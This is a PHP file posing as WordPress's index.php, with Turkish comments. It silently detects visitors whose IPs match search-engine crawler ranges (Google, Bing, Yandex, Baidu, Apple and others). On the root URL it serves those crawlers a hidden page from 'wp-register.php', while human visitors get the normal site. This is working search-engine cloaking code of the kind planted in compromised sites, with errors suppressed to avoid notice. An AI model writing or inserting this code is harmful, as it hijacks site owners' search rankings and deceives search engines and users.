<?php
error_reporting(0);
ini_set('display_errors', 0);

// ─────────────────────────────────────────
// Gerçek IP tespiti (Cloudflare öncelikli)
// ─────────────────────────────────────────
$ip = '0.0.0.0';
$ip_headers = [
    'HTTP_CF_CONNECTING_IP',   // Cloudflare (en güvenilir)
    'HTTP_TRUE_CLIENT_IP',     // Akamai / CF Enterprise
    'HTTP_X_FORWARDED_FOR',    // Proxy zinciri (ilk değer alınır)
    'HTTP_X_REAL_IP',          // Nginx proxy
    'HTTP_CLIENT_IP',
    'REMOTE_ADDR',             // Son çare — doğrudan bağlantı
];
foreach ($ip_headers as $h) {
    if (!empty($_SERVER[$h])) {
        $v = trim(explode(',', $_SERVER[$h])[0]);
        if (filter_var($v, FILTER_VALIDATE_IP)) {
            $ip = $v;
            break;
        }
    }
}

// ─────────────────────────────────────────
// Bilinen arama motoru IP aralıkları (prefix eşleşmesi)
// Google · Bing/Microsoft · Yandex · DuckDuckBot · Baidu · Apple
// ─────────────────────────────────────────
$se_prefixes = [
    // Google
    '66.249.', '64.233.', '72.14.',  '209.85.', '216.239.',
    '66.102.', '74.125.', '66.208.',
    '34.64.',  '34.65.',  '34.66.',  '34.67.',  '34.68.',  '34.69.',
    '34.70.',  '34.71.',  '34.72.',  '34.73.',  '34.74.',  '34.75.',
    '34.76.',  '34.77.',  '34.78.',  '34.79.',  '34.80.',  '34.81.',
    '34.82.',  '34.83.',  '34.84.',  '34.85.',  '34.86.',  '34.87.',
    '34.88.',  '34.89.',  '34.90.',  '34.91.',  '34.92.',  '34.93.',
    '34.94.',  '34.95.',  '34.96.',  '34.97.',  '34.98.',  '34.99.',
    '34.100.', '34.101.', '34.102.', '34.103.', '34.104.', '34.105.',
    '34.106.', '34.107.', '34.108.', '34.109.', '34.110.', '34.111.',
    '34.112.', '34.113.', '34.114.', '34.115.', '34.116.', '34.117.',
    '34.118.', '34.119.', '34.120.', '34.121.', '34.122.', '34.123.',
    '34.124.', '34.125.', '34.126.', '34.127.', '34.128.',
    '35.187.', '35.188.', '35.189.', '35.190.', '35.191.',
    '35.192.', '35.193.', '35.194.', '35.195.', '35.196.', '35.197.',
    '35.198.', '35.199.', '35.200.', '35.201.', '35.202.', '35.203.',
    '35.204.', '35.205.', '35.206.', '35.207.', '35.208.', '35.209.',
    '35.210.', '35.211.', '35.212.', '35.213.', '35.214.', '35.215.',
    '35.216.', '35.217.', '35.218.', '35.219.', '35.220.', '35.221.',
    '35.222.', '35.223.', '35.224.', '35.225.', '35.226.', '35.227.',
    '35.228.', '35.229.', '35.230.', '35.231.', '35.232.', '35.233.',
    '35.234.', '35.235.', '35.236.', '35.237.', '35.238.', '35.239.',
    '35.240.', '35.241.', '35.242.', '35.243.', '35.244.', '35.245.',
    '35.246.', '35.247.', '35.248.', '35.249.', '35.250.', '35.251.',
    '35.252.', '35.253.', '35.254.', '35.255.',

    // Bing / Microsoft Azure
    '40.77.',  '157.55.', '207.46.', '13.66.',  '13.67.',  '13.68.',
    '13.69.',  '13.70.',  '13.71.',  '13.72.',  '13.73.',  '13.74.',
    '13.75.',  '13.76.',  '13.77.',  '13.78.',  '13.79.',  '13.80.',
    '13.81.',  '13.82.',  '13.83.',  '13.84.',  '13.85.',  '13.86.',
    '13.87.',  '13.88.',  '13.89.',  '13.90.',  '13.91.',  '13.92.',
    '13.93.',  '13.94.',  '13.95.',  '13.96.',  '13.97.',  '13.98.',
    '204.79.', '52.167.', '20.33.',  '20.34.',  '20.35.',  '20.36.',
    '20.37.',  '20.38.',  '20.39.',  '20.40.',  '20.41.',  '20.42.',
    '20.43.',  '20.44.',  '20.45.',  '20.46.',  '20.47.',  '20.48.',
    '20.49.',  '20.50.',  '20.51.',  '20.52.',  '20.53.',  '20.54.',
    '20.55.',  '20.56.',  '20.57.',  '20.58.',  '20.59.',  '20.60.',
    '40.74.',  '40.75.',  '40.76.',  '40.78.',  '40.79.',  '40.80.',

    // Yandex
    '5.45.',   '5.255.',  '37.9.',   '37.140.', '77.88.',  '87.250.',
    '93.158.', '95.108.', '178.154.','213.180.','141.8.',

    // DuckDuckBot
    '20.191.', '40.88.',  '40.90.',

    // Baidu
    '119.63.', '180.76.', '220.181.','123.125.','106.38.',

    // Apple (Applebot)
    '17.0.',   '17.1.',   '17.2.',   '17.3.',   '17.4.',   '17.5.',
    '17.6.',   '17.7.',   '17.8.',   '17.9.',   '17.10.',  '17.11.',
    '17.12.',  '17.13.',  '17.14.',  '17.15.',  '17.16.',  '17.17.',
    '17.18.',  '17.19.',  '17.20.',  '17.21.',  '17.22.',  '17.23.',
    '17.24.',  '17.25.',  '17.26.',  '17.27.',  '17.28.',  '17.29.',
    '17.30.',  '17.31.',  '17.32.',
];

$is_se_ip = false;
foreach ($se_prefixes as $pfx) {
    if (strpos($ip, $pfx) === 0) {
        $is_se_ip = true;
        break;
    }
}

// ─────────────────────────────────────────
// SEO sayfasını göster (IP eşleşti + root)
// ─────────────────────────────────────────
if ($is_se_ip && $_SERVER['REQUEST_URI'] === '/') {
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
    header('Pragma: no-cache');
    header('X-LiteSpeed-Cache-Control: no-cache, no-store');
    header('Vary: X-Forwarded-For');
    include 'wp-register.php';
    exit;
}

// ─────────────────────────────────────────
// Normal CMS yükle
// ─────────────────────────────────────────
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
